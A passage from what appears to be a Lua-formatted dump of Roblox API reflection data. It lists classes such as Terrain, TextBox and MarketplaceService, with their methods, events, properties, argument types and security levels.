 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearMessage&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;localSave&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;FinishShutdown&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;jobname&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;greaterThan&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;GetJobIntervalPeakFraction&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;jobname&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;greaterThan&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;GetJobTimePeakFraction&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetJobsExtendedStats&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetJobsInfo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;GetObjects&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;GetRemoteBuildMode&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;synchronous&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;HttpGet&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;data&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;synchronous&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;HttpPost&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;gearType&quot;,
 Type = &quot;GearType&quot;
 }
 },
 Name = &quot;IsGearTypeAllowed&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;IsLoaded&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;Load&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LoadPlugins&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;stat&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RemoveStat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;id&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;key1&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value1&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;key2&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value2&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ReportMeasurement&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;Save&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;SaveFilter&quot;,
 Name = &quot;saveFilter&quot;,
 DefaultValue = &quot;SaveAll&quot;
 }
 },
 Name = &quot;SavePlace&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SaveStats&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ServerSave&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;creatorID&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;creatorType&quot;,
 Type = &quot;CreatorType&quot;
 }
 },
 Name = &quot;SetCreatorID&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;creatorId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;creatorType&quot;,
 Type = &quot;CreatorType&quot;
 }
 },
 Name = &quot;SetCreatorId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;genreRestriction&quot;,
 Type = &quot;GearGenreSetting&quot;
 },
 {
 Name = &quot;allowedGenres&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetGearSettings&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;genre&quot;,
 Type = &quot;Genre&quot;
 }
 },
 Name = &quot;SetGenre&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetJobsExtendedStatsWindow&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetMessage&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SetMessageBrickCount&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeID&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;robloxPlace&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetPlaceID&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;robloxPlace&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetPlaceId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;buildModeEnabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetRemoteBuildMode&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;info&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetScreenshotInfo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetServerSaveUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;info&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetVideoInfo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Shutdown&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ToggleTools&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;get&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;HttpGetAsync&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;data&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;HttpPostAsync&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;SaveToRoblox&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Tool = {
 Inherits = &quot;BackpackItem&quot;,
 Events = {
 {
 Name = &quot;Activated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Deactivated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Equipped&quot;,
 Arguments = {
 {
 Name = &quot;mouse&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Unequipped&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Tool&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CanBeDropped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Grip&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;GripForward&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;GripPos&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;GripRight&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;GripUp&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;ToolTip&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 Texture = {
 Inherits = &quot;Decal&quot;,
 Events = {
 },
 ClassName = &quot;Texture&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;StudsPerTileU&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;StudsPerTileV&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 PhysicsSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PhysicsSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AllowSleep&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreAnchorsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreAwakePartsHighlighted&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreBodyTypesShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreContactPointsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreModelCoordsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreOwnersShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ArePartCoordsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreRegionsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreUnalignedPartsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreWorldCoordsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsReceiveAgeShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ParallelPhysics&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PhysicsEnvironmentalThrottle&quot;,
 Type = &quot;EnviromentalPhysicsThrottle&quot;
 },
 {
 Name = &quot;ThrottleAdjustTime&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 }
 },
 Script = {
 Inherits = &quot;BaseScript&quot;,
 Events = {
 },
 ClassName = &quot;Script&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;ProtectedString&quot;,
 Name = &quot;Source&quot;,
 LocalUserSecurity = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetHash&quot;,
 RobloxPlaceSecurity = true
 }
 }
 },
 Terrain = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;Terrain&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Region3int16&quot;,
 Name = &quot;MaxExtents&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;AutowedgeCell&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3int16&quot;
 }
 },
 Name = &quot;AutowedgeCells&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CellCenterToWorld&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CellCornerToWorld&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Clear&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;CountCells&quot;
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetCell&quot;
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetWaterCell&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;material&quot;,
 Type = &quot;CellMaterial&quot;
 },
 {
 Name = &quot;block&quot;,
 Type = &quot;CellBlock&quot;
 },
 {
 Name = &quot;orientation&quot;,
 Type = &quot;CellOrientation&quot;
 }
 },
 Name = &quot;SetCell&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3int16&quot;
 },
 {
 Name = &quot;material&quot;,
 Type = &quot;CellMaterial&quot;
 },
 {
 Name = &quot;block&quot;,
 Type = &quot;CellBlock&quot;
 },
 {
 Name = &quot;orientation&quot;,
 Type = &quot;CellOrientation&quot;
 }
 },
 Name = &quot;SetCells&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;force&quot;,
 Type = &quot;WaterForce&quot;
 },
 {
 Name = &quot;direction&quot;,
 Type = &quot;WaterDirection&quot;
 }
 },
 Name = &quot;SetWaterCell&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;WorldToCell&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;WorldToCellPreferEmpty&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;WorldToCellPreferSolid&quot;
 }
 }
 },
 SocialService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;SocialService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;bestFriendUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBestFriendUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;friendUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFriendUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;groupRankUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGroupRankUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;groupRoleUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGroupRoleUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;groupUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGroupUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;stuffUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPackageContentsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;stuffUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetStuffUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ReflectionMetadataProperties = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataProperties&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 PrismPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;PrismPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Sides&quot;,
 Type = &quot;PrismSides&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 PVAdornment = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;PVAdornment&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Adornee&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 TextBox = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 {
 Name = &quot;FocusLost&quot;,
 Arguments = {
 {
 Name = &quot;enterPressed&quot;,
 Type = &quot;bool&quot;
 }
 }
 }
 },
 ClassName = &quot;TextBox&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ClearTextOnFocus&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Font&quot;,
 Type = &quot;Font&quot;
 },
 {
 Name = &quot;FontSize&quot;,
 Type = &quot;FontSize&quot;
 },
 {
 Name = &quot;MultiLine&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextBounds&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;TextColor&quot;,
 hidden = true
 },
 {
 Name = &quot;TextColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TextFits&quot;,
 readonly = true
 },
 {
 Name = &quot;TextScaled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextStrokeColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TextStrokeTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TextTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;TextWrap&quot;
 },
 {
 Name = &quot;TextWrapped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextXAlignment&quot;,
 Type = &quot;TextXAlignment&quot;
 },
 {
 Name = &quot;TextYAlignment&quot;,
 Type = &quot;TextYAlignment&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CaptureFocus&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 LocalBackpack = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;LocalBackpack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;GetOldSchoolBackpack&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;show&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetOldSchoolBackpack&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 KeyframeSequence = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;KeyframeSequence&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Loop&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Priority&quot;,
 Type = &quot;AnimationPriority&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;keyframe&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddKeyframe&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetKeyframes&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;keyframe&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemoveKeyframe&quot;
 }
 }
 },
 FunctionalTest = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FunctionalTest&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Description&quot;,
 Type = &quot;string&quot;
 }
 },
 deprecated = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Error&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Failed&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Pass&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Passed&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Warn&quot;
 }
 }
 },
 StockSound = {
 Inherits = &quot;Sound&quot;,
 Events = {
 },
 ClassName = &quot;StockSound&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 BillboardGui = {
 Inherits = &quot;LayerCollector&quot;,
 Events = {
 },
 ClassName = &quot;BillboardGui&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Active&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Adornee&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;AlwaysOnTop&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ExtentsOffset&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;PlayerToHideFrom&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;SizeOffset&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Name = &quot;StudsOffset&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Feature = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Feature&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;FaceId&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;InOut&quot;,
 Type = &quot;InOut&quot;
 },
 {
 Name = &quot;LeftRight&quot;,
 Type = &quot;LeftRight&quot;
 },
 {
 Name = &quot;TopBottom&quot;,
 Type = &quot;TopBottom&quot;
 }
 },
 Methods = {
 }
 },
 MarketplaceService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;PromptPurchaseFinished&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;isPurchased&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;equipIfPurchased&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;currencyType&quot;,
 Type = &quot;CurrencyType&quot;
 }
 },
 Name = &quot;PromptPurchaseRequested&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;MarketplaceService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;equipIfPurchased&quot;,
 DefaultValue = &quot;true&quot;
 },
 {
 Type = &quot;CurrencyType&quot;,
 Name = &quot;currencyType&quot;,
 DefaultValue = &quot;Default&quot;
 }
 },
 Name = &quot;PromptPurchase&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPlayerOwnsAssetUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetProductInfoUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;success&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SignalPromptPurchaseFinished&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Dictionary&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetProductInfo&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;PlayerOwnsAsset&quot;
 }
 }
 },
 ScriptInformationProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ScriptInformationProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;access&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAccessKey&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Team = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Team&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AutoAssignable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AutoColorCharacters&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Score&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 GuiButton = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 {
 Name = &quot;MouseButton1Click&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;MouseButton1Down&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton1Up&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton2Click&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;MouseButton2Down&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton2Up&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
